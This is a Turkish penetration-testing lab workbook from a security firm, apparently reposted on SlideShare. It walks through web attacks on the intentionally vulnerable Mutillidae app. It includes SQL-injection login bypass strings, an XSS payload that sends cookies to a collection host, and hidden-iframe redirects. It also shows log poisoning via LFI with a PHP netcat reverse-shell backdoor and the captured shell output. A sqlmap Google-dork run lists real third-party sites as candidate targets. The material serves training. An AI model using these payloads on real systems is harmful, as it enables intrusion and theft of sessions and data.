SlideShare una empresa de Scribd logo
1 de 29
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
PENTEST EĞİTİMİ
UYGULAMA KİTABI
BÖLÜM - 9
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
İÇİNDEKİLER
9. WEB ve MOBİL SIZMA TESTLERİ
BU KATEGORİDEKİ LAB UYGULAMA LİSTESİ
9.1. Nikto Kullanarak Web Uygulamasına Yönelik Statik Güvenlik Testleri
9.2. Netsparker Kullanılarak Web Uygulamalarının Zafiyetlerinin Tespit Edilmesi
9.3. SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass
9.4. XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi
9.5. Stored XSS Kullanarak Zararlı Yazılım Barındıran Sayfaya Yönlendirme
9.6. Local File Inclusion Kullanarak Sistemden Dosya Okuma
9.7. Local File Inclusion Kullanarak Sisteme Arka Kapı Yerleştirme
9.8. Web Uygulama Güvenlik Testlerinde İleri Seviye Sqlmap Kullanımı
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.1. Nikto Kullanarak Web Uygulamasına/Sunucuya Yönelik Statik
Güvenlik Testleri
Amaç: Hedef sunucu veya uygulamadaki zafiyetleri statik tarama yöntemleri kullanarak
tespit etmek
Lab senaryosu: İçinde test scriptleri olan IIS 7 kurulu bir web sunucusu. (Herhangi bir
web sunucusu ve uygulaması olabilir.)
Kullanılan Araçlar:
● Nikto 2.1.4
Adımlar:
1. Adım:
“nikto -list-plugins” komutu ile niktonun mevcut eklentileri listelenir. Listeden belli
eklentilerin -Plugins parametresiyle belirtilebileceği gibi, hiçbir eklentinin seçilmediği
nikto hepsini kullanacaktır. “nikto -host 6.6.6.154 -Display 4” komutu ile hedef sistemde
tüm eklentiler denenecek şekilde nikto başlatılır. Display 4 ekranda gösterilecek detay
seviyesidir. Tüm seviyeler ve diğer ayarlar nikto -Help komutu ile listelenebilir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.2. NetsparkerKullanılarakWeb Uygulamalarının Zafiyetlerinin Tespit
Edilmesi
Amaç: Zafiyet tarama aracı olan netsparker ile hedef sistemlerin zafiyetlerinin taranarak
tespit edilmesi.
Kullanılan Araçlar: Netsparker
Uygulama: Netsparker ticari bir yazılımdır. Web uygulamalarının güvenlik testlerini
gerçekleştirmek üzere kullanılmaktadır. Uygulamanın deneme sürümü ürün sitesinden
indirilebilmektedir, https://www.netsparker.com/web-vulnerability-scanner/download/
1. Adım: Uygulama başlatılarak, hedef web uygulamasının adresi verilir;
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
2. Adım: Eğer kimlik doğrulama alanları var ise ve hedef sistem giriş yapmış bir
kullanıcı hakları ile sistemde zafiyet taraması gerçekleştirecek ise; sisteme giriş
yapılacak kullanıcı hesap bilgileri tanımlanır.
Burada admin/admin değerleri kullanılmaktadır.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
3. Adım: Taramanın başlatılması, Start Scan denilerek tarama başlatılabilir.
Tarama bittiğinde elde edilen zafiyetler;
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.3. SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass
Amaç: Hedef uygulamanın, giriş formundaki “sql injection” zafiyetini istismar ederek,
sisteme yetkisiz giriş yapmak.
Kullanılan Araçlar:
● Burp Suite Free 1.5
● Mutillidae
Adımlar:
1. Adım:
Hedef giriş formu açılır (owasp top 10->A1->bypass auth->login), , kullanıcı adı ve
parola alanlarında, sık kullanılan bir payload olan ‘ or ‘1’=’1 denenir. “Mutillidae security
Level” 0 için bu payloadın başarıyla çalıştığı görülüyor.
2. Adım:
Security level 1 olarak ayarlanıp, aynı payload denendiğinde “Dangerous characters
detected. We can't allow these.....” diye başlayan bir hata mesajı alınıyor. Mesajın
devamında yazdığı üzere, bir çeşit “blacklist” yöntemi uygulanıyor. Bu aşamada tarayıcı
“proxy” olarak “burp suite” kullanacak gibi ayarlanır ve payload içermeyen bir giriş isteği
gönderilir. “Burp suite” üzerinden yakalanan istek, “password” bölümüne 1. Adımdaki
gibi yerleştirilip gönderilir. Bu şekilde, istemci taraflı korumanın aşıldığı görülmektedir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
3. Adım:
Farklı payloadları otomatik olarak denemek ve blacklist’in içermediği bir payload
bulabilmek için, Burp suite’in “intruder” eklentisi kullanılabilir. Yakalanan istek, burp
suit’in intruder eklentisine gönderilir. Girdi noktaları belirlenir (örnekte kısa sürmesi için
sadece parola alanı seçilmiştir).
Payloads tabından denenecek payloadların listesi eklenir. Sıklıkla kullanılan “sqli login”
payloadlarının olduğu bir listeye “http://www.architectingsecurity.com/wp-
content/uploads/authentication-bypass-list.txt” adresinden ulaşılabilir. Payload “options”
bölümünden, “load” tıklanarak, liste yüklenir ve üst menüden “Intruder->start attack”
denilerek saldırı başlatılır.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Dönen cevaplar(özellikle boyutu farklı olanlar) incelenerek, başarılı olan payloadlardan
biri seçilip kullanılarak, sistem yetkisiz giriş yapılır.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.4. XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi
Amaç: XSS zafiyetini istismar ederek kullanıcıların cookie bilgilerini elde etmek.
Lab senaryosu: Mutillidae kurulu web sunucusu.
Kullanılan Araçlar:
● Burp Suite 1.5
Adımlar:
1. Adım:
Hedef uygulamada XSS istismarı tespit edilir. Örnekte Mutillidae’nın persistent XSS
bölümünde show-log sayfası kullanılmıştır. Hedef uygulama, sayfayı ziyaret eden
kullanıcılara ait erişim loglarını listelemektedir. Buradaki user-agent alanına, xss
payloadını yerleştirerek, loglara bakan adminin oturum bilgileri ele geçirilmeye
çalışılmıştır. Öncelikle bilgileri kaydedecek sistem hazırlanır. Bu iş için basit bir PHP
betiği(dil önemli değil) yazılır(get.php).
2. Adım:
Tarayıcı Burp Suite’e yönlendirildikten sonra Mutillidae uygulamasının herhangi bir
sayfası açılır.
Burp Suite ile yakalanan isteğin user-agent bölümüne
<script>document.location="http://kayıtsistemi.com/get.php?c="+encodeURIComponent
(top.window.location+":"+document.cookie);</script>
payloadı yerleştirilip istek yollanır.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Yönetici, log sayfasını kontrol ettiğinde payload çalışır ve url ve cookie bilgilerini alıp,
karakter kaybı olmaması için encode edip, url ve cookie bölümlerini ayırmak için: koyup,
kayıt sistemindeki betiğe, bu bilgileri get metodu ile yollar. URL’in de cookie ile beraber
alınmasının sebebi, bazı uygulamalarda, oturum bilgilerinin bir bölümü url ile
taşınabilmektedir. Bu gibi durumlarda, hedef kullanıcının cookie bilgilerini kullanmanın
yanısıra, aynı url’yi de kullanmak gerekir. Bu yüzden, örnek uygulamada böyle bir
durum söz konusu olmasa bile, bahsedilen durumu da karşılayan bir payload
hazırlanmıştır.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
3. Adım:
get.php isimli betiğin bulunduğu dizindeki sessions.txt dosyasının içeriğine bakılarak,
kurbanın url ve cookie bilgileri listelenir.
Daha az dikkat çekmesi açısından, gerçek testlerde, document.location ile sayfayı
yönlendirmek yerine, kurbanın dikkatinden daha kolay kaçabilecek <img src= payload />
veya <iframe src=payload width=0 height=0 /> gibi farklı payloadlar kullanılabilir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.5. Stored XSS Kullanarak ZararlıYazılım BarındıranSayfaya
Yönlendirme
Amaç: Stored XSS zafiyetini istismar ederek, zafiyetin bulunduğu sayfayı ziyaret eden
tüm kullanıcıları, zararlı yazılım barındıran bir adrese yönlendirmek.
Lab senaryosu: Mutillidae veya stored XSS bulunan başka web uygulaması kurulu
web sunucusu.
Kullanılan Araçlar:
● Iceweasel 18
Adımlar:
1. Adım:
Stored XSS payloadı olarak <script>window.location="http://zararlısayfa.com"</script>
girilir ve sayfayı ziyaret eden kullanıcılar, doğrudan “zararlısayfa.com” adresine
yönlendirilirler.
Eğer, kullanıcının bağlı olduğu sayfayı terk etmeden, dolayısıyla haberi olmadan, başka
bir sayfaya bağlanması isteniyorsa, gizli iframe yöntemi kullanılabilir. Bu yöntemde de
XSS payloadı olarak (XFS yani cross frame scripting de denilmektedir)
<iframe style="position:absolute;top:-9999px" src="http://zararlısayfa.com"/></iframe>
kullanılabilir. Test ortamında, payloadın çalıştığını doğrulamak için Mutillidae’nın
Persistent XSS bölümünde, blog girdisi olarak girilir. Devamında bloglar listelenirken,
tarayıcının durum çubuğunda (resimde sol altta) “zararlısayfa.com adresinden veri
yükleniyor” gibi bir mesaj görünüyor olması gerekir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.6. LocalFile Inclusion Kullanarak SistemdenDosyaOkuma
Amaç: Hedef web uygulamasında var olan LFI(Local File Inclusion) açıklığı istismar
edilerek, sistemden aşağıdaki dosyalar okunacaktır:
● /etc/hosts
● /etc/passwd
● /etc/issue
Lab senaryosu: Örnek bir web sitesi (www.bga.com.tr) üzerinde ki mevcut alt dizinler
keşfedilecektir. Kullanıcı adı parola korumalı alanların veya hassas kritik bilgilerin (dizin
listeleme v.s) bulunacaktır.
Kullanılan Araçlar:
● NOWASP (mutillidae)
● Firefox Browser
Adımlar:
1. Adım:
LFI açıklığı, çeşitli otomatik araçlar kullanılarak bulunabileceği gibi manuel testler ile de
tespit edilebilir. Biz LFI inclusion açıklığı üzerinde barındıran NOWASP mutillidae
uygulamasını, sistemimize kurup, onun üzerinden örneğimizi veriyoruz. İlgili uygulama
http://sourceforge.net/projects/mutillidae/files/mutillidae-project/ adresinden indirilebilir.
Mutillidae bir dosya olarak /var/www/ altına kopyalanır.
root@bt:~# cp -R mutillidae/ /var/www/
Ardından apache ve mysql servisleri aşağıdaki gibi başlatılır.
root@bt:~# service apache2 start
root@bt:~# service mysql start
2. Adım:
Browser aracılığı ile http://3.3.3.12/mutillidae şeklinde uygulamayı kurduğunuz sistemin
ip adresini ve dizin ismini veriyoruz ve uygulamayı açıyoruz. Home butonu
tıklandığında, aşağıdaki gibi bir sayfa karşımıza gelecektir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
3. Adım:
URL içerisinde bulunan page parametresi, LFI açıklığı var mı yok mu diye test edelim.
Bunun için local sistemde yerini bildiğimiz dosyaları, bu parametreye input olarak verip,
getirmesini isteyeceğiz.
Öncelikle /etc/hosts dosyasını çağıralım. Bunun için bir kaç dizin geri çıkmamız
gerekebilir. Bir dizin geri gelmek için ../ şeklinde bir ifade kullanabiliriz. Biz 3 dizin geri
gelip localdeki /etc/hosts dosyasını okumaya çalışalım. Aşağıdaki gibi local dosyaya
erişim yapılabilmiştir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4. Adım:
Hedef sistem üzerindeki /etc/issue dosyasını okuyalım. Bu dosyada, hedef sistemin
işletim sistemi bilgisi yazmaktadır. Aşağıda görüldüğü gibi Backtrack 5 R3 - 32 bit
olduğunu görebiliriz.
5. Adım:
Hedef sistem üzerindeki kullanıcıların bulunduğu /etc/passwd dosyasını görüntüleyelim.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.7. LocalFile Inclusion Kullanarak SistemeArka Kapı Yerleştirme
Amaç: Bu makalede, Local File Inclusion(LFI) açıklığı barındıran bir sistem üzerine,
arka kapı yerleştirip, nasıl shell alınabileceği anlatılmıştır.
Lab senaryosu: LFI açıklığını barındıran, linux web sunucu üzerinde bulunan web
uygulamasına, php ile hazırlanmış bir arka kapı yerleştirilecektir. Daha sonra, bu arka
kapı ile saldırganın local sistemine, ters bağlantı ile shell elde edilecektir. Bu
seneryodaki işlemler, LFI açıklığı istismari ile gerçekleştirilecektir. Ve sunucu üzerindeki
access.log dosyası zehirlenecek, arka kapı php formatında buraya atılacaktır. Hedef
sisteme atılacak arka kapı, işlevini netcat komutunun php ile sistemde çalıştırılması ile
gerçekleştirecektir.
Atılacak arka kapı:
<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>
Kullanılan Araçlar:
● NOWASP ( Mutillidae)
● Burp Suite
● Netcat
Adımlar:
1. Adım:
LFI açıklığı, hedef sistem üzerindeki yeri bilinen bazı dosyaların, içeriğinin okunmasına
imkan veren bir güvenlik açığıdır. Birçok web geliştiricisi tarafından önemsenmeyen,
basite alınan bir açıklık olarak bilinir. Oysa LFI açıklıkları da tıpkı XSS açıklıkları gibi
masum görünen ama oldukça tehlikleli açıklıklardandır.
Local sistemimizde, BurpSuite uygulamasını çalıştırdıktan sonra öntanımlı çalıştığı port
8080 olduğu için (değiştirilmediğini varsayılıp) browserinizda 127.0.0.1:8080 olarak,
proxy ayarlarınızı yapmanız gerekmektedir.
Öncelikle, LFI(Local File Inclusion) açıklığı bulunan web sunucumuza, browser aracılığı
ile bir bağlantı isteği gönderiyoruz ve talebimiz hedefe gitmeden önce, burp suite
üzerinde Proxy/intercept altında, aşağıdaki gibi görebilir, değiştirebilir daha sora
sunucuya gönderebilirsiniz.
Talep ettiğimiz sayfa;
http://3.3.3.12/mutillidae/index.php
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
2. Adım:
Mevcut parametreler üzerinde, daha rahat manipule işlemleri gerçekleştirmek için sağ
tıklayıp, send to repeater diyoruz. Aşağıda yapılan http talebine ait çeşitli başlık bilgileri
vardır. Biz burada, User-Agent başlık bilgisi ile ilgileneceğiz. Aşağıda da bize ait user
agent başlık bilgisinin detayları görülebilir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
3. Adım:
Access.log dosyası, web sunucuya bağlantı kuran kullanıcılara ait çeşitli bilgileri loglar.
Bu bilgilerden bazıları;
● Tarih-Saat
● Source IP adresi
● Http talep türü
● Talep edilen URL
● User-Agent bilgisi v.s
Access.log dosyası kötü konfigüre edilmiş bir çok sunucuda ve özellikle paylaşımlı
barındırma hizmeti veren sunucularda, LFI açıklığı ile erişilebilen bir dosyadır. Biz bu log
dosyasına GET talebi ile User-Agent parametresine verdiğimiz değeri, hedefe enjekte
edeceğiz.
Şimdi saldırı seneryomuza geçmeden önce küçük bir php scripti ile access.log
dosyasını zehirleyelim. PHP diline ait olan phpinfo() foksiyonunu çalıştırıp hedef
üzerindeki etkisine bakalım.
Bunun için User-Agent değerine aşağıdaki php scripti yazılır ve hedef sisteme
gönderilir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4. Adım:
Bu aşamadan sonra hedef sistem üzerinde LFI açıklığı kullanılarak, aşağıdaki gibi
access.log dosyası çağrıldığında, bizim user-agent olarak gönderdiğimiz php scripti ilgili
sayfada çalışacaktır. Aşağıdaki ekran görüntüsünde de görülebilecegi gibi hedefe ait
php bilgilerini, ekrana verecektir.
5. Adım:
LFI açıklığı barındıran hedef sistemde, bize reverse shell verecek php scriptimizi
(<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>) User-Agent olarak kullanıp, burp
suite ile hedefe bir GET talebinde bulunuyoruz. Aşağıda yaptığımız http istek ve
dönülen http cevap bilgisi görülebilir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Yukarıdaki php scriptini (<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>) user
agent olarak kullanıp, hedef sistemin access.log dosyasına kaydettirdikten sonra
browser aracılığı ile veya aşağıdaki gibi curl ile hedef sistemdeki bu dosyayayı
çağırmamız, shell almamız için yeterli olacaktır.
6. Adım:
5. Adımdaki sayfaya bağlantı isteğinden önce local sistemimizde 9090 portunu netcat ile
dinleme moduna almış olmamız gerekiyor. Aşağıdaki gibi netcat ile ilgili port dinleme
moduna alınabilir.
sh-3.2# nc -lv -p 9090
listening on [any] 9090 ...
Ters bağlantı yapılacak portumuzu, dinleme moduna aldıktan sonra curl ile sayfayı
çağıralım;
7.Adım:
sh-3.2#
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
curl –s
http://3.3.3.12/mutillidae/index.php?page=../../../../../../../../../var/log/apache2/access.log
Burada access.log dosyasının ekran görüntüsü çok büyük olduğu için verilmemiştir. Siz
browser aracılığı ile de çağırabilirsiniz. URL çağrıldıktan sonra 3.3.3.10 IP adresine
sahip local sistemimizde, dinleme moduna aldığımız netcat oturumuna bir bağlantının
geldiğini, aşağıdaki gibi görebilirsiniz. Bundan sonra vereceğiniz tüm komutlar hedef
web sunucunun /bin/sh shell'inde çalışacaktır.
sh-3.2# nc -lv -p 9090
listening on [any] 9090 ...
Warning: forward host lookup failed for n003-000-000-000.static.ge.com: Unknown host
: Connection timed out
connect to [3.3.3.12] from n003-000-000-000.static.ge.com [3.3.3.10] 43962
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
w
07:43:17 up 22:46, 7 users, load average: 0.13, 0.22, 0.14
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - Thu10 44:56m 5:33 0.00s /bin/bash /usr/
root pts/0 :0.0 Thu10 43:44m 0.24s 0.24s bash
root pts/1 :0.0 Thu11 40:37m 4:57 4:57 /opt/metasploit
root pts/2 :0.0 Thu11 15:23m 0.10s 0.10s bash
root pts/3 :0.0 Fri09 1:22m 0.35s 0.35s bash
root pts/4 :0.0 Fri09 0.00s 0.05s 0.00s nc -lv -p 4444
root pts/5 :0.0 Fri09 9:39 0.06s 0.06s bash
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:103:108::/var/lib/landscape:/bin/false
messagebus:x:104:112::/var/run/dbus:/bin/false
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:105:113::/var/lib/mysql:/bin/false
avahi:x:106:114::/var/run/avahi-daemon:/bin/false
snort:x:107:115:Snort IDS:/var/log/snort:/bin/false
statd:x:108:65534::/var/lib/nfs:/bin/false
usbmux:x:109:46::/home/usbmux:/bin/false
pulse:x:110:116::/var/run/pulse:/bin/false
rtkit:x:111:117::/proc:/bin/false
festival:x:112:29::/home/festival:/bin/false
postgres:x:1000:1000::/home/postgres:/bin/sh
haldaemon:x:113:122:Hardware abstraction layer,,,:/var/run/hald:/bin/false
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9.8. Web Uygulama GüvenlikTestlerindeİleri Seviye Sqlmap Kullanımı
Amaç: Sqlmap kullanarak ileri seviye SQL injection istismarı
Lab senaryosu:
İleri düzey sqlmap komutları kullanılarak, sql injection açıklıklarının istismarına yönelik
senaryo canlandırılmış ve detaylı bilgiler verilmiştir.
Kullanılan Araçlar:
 Sqlmap
Adımlar:
1. Adım:
Sqlmap açık kaynak kodlu sql injection açıklığı tespit ve istismar etme aracıdır. Girdi
olarak verilen hedef web uygulamasının kullandığı veritabanı sistemine gönderdiği
çeşitli sorgular/komutlar ile sistem üzerindeki sql injection varlığını ve tipini tespit eder.
Verilen parametrelere göre çeşitli bilgileri, hedef veritabanından alır.
Sqlmap ile hedef hakkında elde edilebilen bazı veriler;
 Veritabanı türü ve versiyonu (--banner,--all)
 Mevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (--current-db, --
dbs)
 Veritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (--tables, --
columns)
 Veritabanı datası(--dump, --dump-all)
 Veritabanı mevcut kullanıcısı ve tüm kullanıcılar(--current-user,--users)
 Veritabanı kullanıcı parolası (--passwords)
 Veritabanı kullanıcısının DB admin olup olmadığı bilgisi(--is-dba)
 Hedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji
vs. , -f)
Sqlmap’e farklı tiplerde hedef belirtilebilmektedir;
 URL (--url, -r )
 Burp suite ve WebScarp proxy logu (--log , -l)
 HTTP talepleri bir dosyadan okutulabilmektedir. (--r)
 Google üzerinden URL toplayıp input olarak alabilmektidir.(-g)
 /sqlmap/sqlmap.conf dosyası -c parametresi ile verilerek tüm konfigrasyon input
olarak verilebilir. (-c)
Sqlmap.conf dosyası oldukça ileri düzey parameterlere sahiptir. Yukarıda verilen girdiler
bu conf dosyasına girilerek buradan okunması sağlanılabileceği gibi, çeşitli farklı
işlemler de (WAF/IPS/IDS keşfi yapıp/yapmama, uzak sunucuda okunacak dosya, uzak
sunucuda yürütülecek komut v.b ) yaptırılabilmektedir.
2. Adım:
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Not: Sqlmap ile çalışmaya başlamadan önce ilgili dizine girip sqlmap update edilmelidir.
Bunun için aşağıdaki komut backtrack üzerinde kullanılabilir.
root@bt:~# cd /pentest/database/sqlmap/;svn update;python2 sqlmap.py --
update
3. Adım:
Sqlmap, -g parametresi ile belirli ifadeler (sqli açıklığı barındırdığı bilinen URL'ler)
google üzerinden bulup, üzerindeki sql injection açıklığını istismar edebilmektedir.
Sqlmap bulduğu URL'leri sıra ile exploit etmek isteyip istemediğimizi sormaktadır.
root@bt:/pentest/database/sqlmap# ./sqlmap.py -g "inurl:index.php?id=" --dbs
[14:35:17] [INFO] first request to Google to get the session cookie
[14:35:18] [INFO] using Google result page #1
[14:35:25] [INFO] heuristics detected web page charset 'ISO-8859-2'
[14:35:25] [INFO] sqlmap got 105 results for your Google dork expression, 100 of
them are testable targets
[14:35:25] [INFO] sqlmap got a total of 100 targets
url 1:
GET http://www.du.ac.in/index.php?id=165
do you want to test this url? [Y/n/q]
> n
url 2:
GET http://www.uni-corvinus.hu/index.php?id=7745
do you want to test this url? [Y/n/q]
> n
url 3:
GET http://www.harkavagrant.com/index.php?id=341
do you want to test this url? [Y/n/q]
>
4. Adım:
--data parametresi ile hedef URL'e ait post verisi manuel olarak da verilebilmektedir.
--cookie parametresi ile hedef sisteme bağlanmak için cookie bilgisi verilebilmektedir.
Parola korumalı hedeflerdeki sql injection açıkları bu şekilde kolaylıkla istismar
edilebilmektedir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
5. Adım:
Sqlmap http kimlik doğrulama yöntemlerinden bacic,ntlm ve digest yöntemlerini
desteklemektedir. Bu tür http kimlik doğrulama türleri ile korunan hedef sistemlere
yönelik açıklıklar da istismar edilebilir.
--auth-type Basic --auth-cred "user:pass"
Taramalar http, https ve tor proxy üzerinden gerçekleştirilebilmektedir. Proxy kullanımı
için --proxy parameteresi, proxy serverlar üzerinde kimlik dogrulama için --proxy-cred
parametreleri kullanılmaktadır.
--proxy Http --proxy-cred "user:pass"
Hedef sunucu veya sunucu önünde bulunan WAF/IPS benzeri güvenlik cihazları bazı
http header parametrelerini gelen istekte görmek isterler.
Bunlardan bir kaçı user agent ve referer gibi başlık bilgileridir. Güvenlik cihazları
üzerinde bulunan whitelistlerde tanımlı bazı user agentlar ile gelen client istekleri
cevaplanır bunun dışında gelenler bloklanır. Sqlmap ile bu durum user agent için, --
user-agent veya --random-agent parametreleri ile atlatılabilmektedir.
--user agent ile istenilen bir user agent header bilgisi input olarak verilebilmektedir.
--random-agent paremetresi kullanılması durumunda ise ./txt/user-agent.txt
dosyasındaki yaklaşık 2100 user agent içerisinden rastgele seçilerek hedef üzerinde
zaafiyet istismar denemeleri gerçekleştirir. Referrer için ise --referer parametresi
kullanılabilir.
Not: HTTP header bilgilerinin kullanılması için --level ile 3 ve üstü bir değer ifade
edilmelidir.
--delay parametresi ile gönderilen http(s) istekleri arasındaki gecikme miktarı da saniye
cinsinden ifade edilebilmektedir. --delay parametresi float türde veri de kabul etmektedir.
( --delay=1.5 )
6. Adım:
--timeout parametresi ile normal http timeout süresi göz önünde bulundurulmadan
önceki bekleme süresi belirtilebilir. Bu da fload türde bir değişken olarak tanımlıdır
(ondalıklı verilebilir) ve ön tanımlı olarak sqlmap.conf dosyasında 30 sn olarak
ayarlanmıştır.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
root@bt:/pentest/database/sqlmap# cat sqlmap.conf | grep timeout
# Seconds to wait before timeout connection.
timeout = 30
# Maximum number of retries when the HTTP connection timeouts.
7. Adım:
--retries parametresi ile timeouta uğrayan http(s) isteklerinin tekrarlanma sayısı
verilebilir. Bu değer sqlmap.conf dosyasında ön tanımlı olarak 3 olarak belirtilmiştir.
root@bt:/pentest/database/sqlmap# cat sqlmap.conf | grep retries
# Maximum number of retries when the HTTP connection timeouts.
retries = 3
8. Adım:
Konunun daha iyi anlaşılması için bir kaç somut örnek üzerinden devam edelim.Hedef
sisteme ait veritabanı kullanıcısını belirleme(--current-user) ve bu kullanıcının veritabanı
admin haklarına sahip olup olmadığını(--is-dba) belirleyelim. Ayrıca uzak sistem
üzerindeki işletim sistemi/versiyonu, kullanılan web teknolojisi adı/versiyonu, veritabanı
uygulaması türü/versiyonu (-f) gibi bilgileri alalım.
root@bt:~# cd /pentest/database/sqlmap/;python2 sqlmap.py –u
'http://testasp.vulnweb.com/showforum.asp?id=0' --current-user --is-dba -f
[16:59:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
[16:59:19] [INFO] fetching current user
current user: 'acunetix'
[16:59:21] [INFO] testing if current user is DBA
current user is DBA: False
Görüldüğü gibi mevcut kullanıcımız acunetix kullanıcısıdır ve dba degildir. Hedef sistem
işletim sistemi ve kullanılan teknoloji bilgileride yukarıda çıktıda görülmektedir.
[PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
9. Adım:
Bazen sqlmap URL bağlantısını test etmeye çalıştıgında timeout alarak URL bağlantı
kuramaz. Gerçekten bağlantı olup olmadığı browserdan adres çağrılarak görülebilir.
Şayet browser üzerinden ilgili adrese bağlantı gerçekleştiriliyor fakat sqlmap bağlantı
kuramıyorsa, bu gibi durumlarda hedef web uygulaması tarafında user agent bilgisi
kontrol ediliyor olabilir.
Bu tür sorunları aşmak için --random-agent parametresi ile çeşitli user agent bilgileri ile
hedef test edilirse sonuç başarılı olacaktır. Aşağıda örnek bir kullanım verilmiştir. -v 3
parametresi ile gönderilen tüm payloadlar görülebilir. --retries ile timeout vs. gibi
başarısız bağlantılarda tekrar denenmemesi için 0 değeri set edilmiştir.
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
'http://www.example.com/test/index.asp?id= 1' --random-agent -p word --dbs --
dbms=mssql --keep-alive --time-sec=1 -v 3 --retries 0 --timeout=1 --threads=10
Not: Bu doküman BGA Bilgi Güvenliği A.Ş için Mesut Türk tarafından hazırlanmıştır.

Más contenido relacionado

La actualidad más candente

GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMABGA Cyber Security
 
